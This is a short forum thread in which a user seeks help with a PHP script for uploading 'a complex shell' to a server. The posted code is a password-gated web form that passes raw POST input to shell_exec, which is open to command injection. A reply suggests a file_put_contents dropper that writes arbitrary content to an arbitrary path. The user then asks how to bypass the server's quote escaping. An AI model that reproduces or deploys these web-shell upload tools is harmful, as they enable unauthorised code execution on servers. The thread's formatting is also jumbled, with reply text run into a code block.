Thread: [writing a php code to file using php script](#)

kox444 - January 10, 2014, 3:04 pm

I'm having problem with simple write to file script. It works, but if the input contains something that could break down php code, it will. And the problem is that I need this script to upload a complex shell, but it just won't do it. I don't know how can I upload a php script using this. I tried converting input's special characters to html code but it doesn't work either.

PHP Code

```
<?php
if ($_GET['password']=="qwerty") {
echo
"<form action='shell.php' method='POST'><input type='text' name='path' /><br /><textarea name='c
ontent' rows='30' cols='100'></textarea><br /><input type='submit' value='submit' /></form>";
}
if (isset($_POST['content']) && isset($_POST['path'])) { echo shell_exec('echo "'.$_POST['content'].
"' >> '$_POST['path']');
}
?>
```

PHP Code

```
<?php
file_put_contents($_POST['path'], $_POST['content']);
did you even bother googling first
```

I did, but I asked wrong questions it seems. Thanks for fast answer :)

It seems like the server puts \ before quotes making me unable to upload almost any script. Is there a way to bypass it?

edit: nevermind
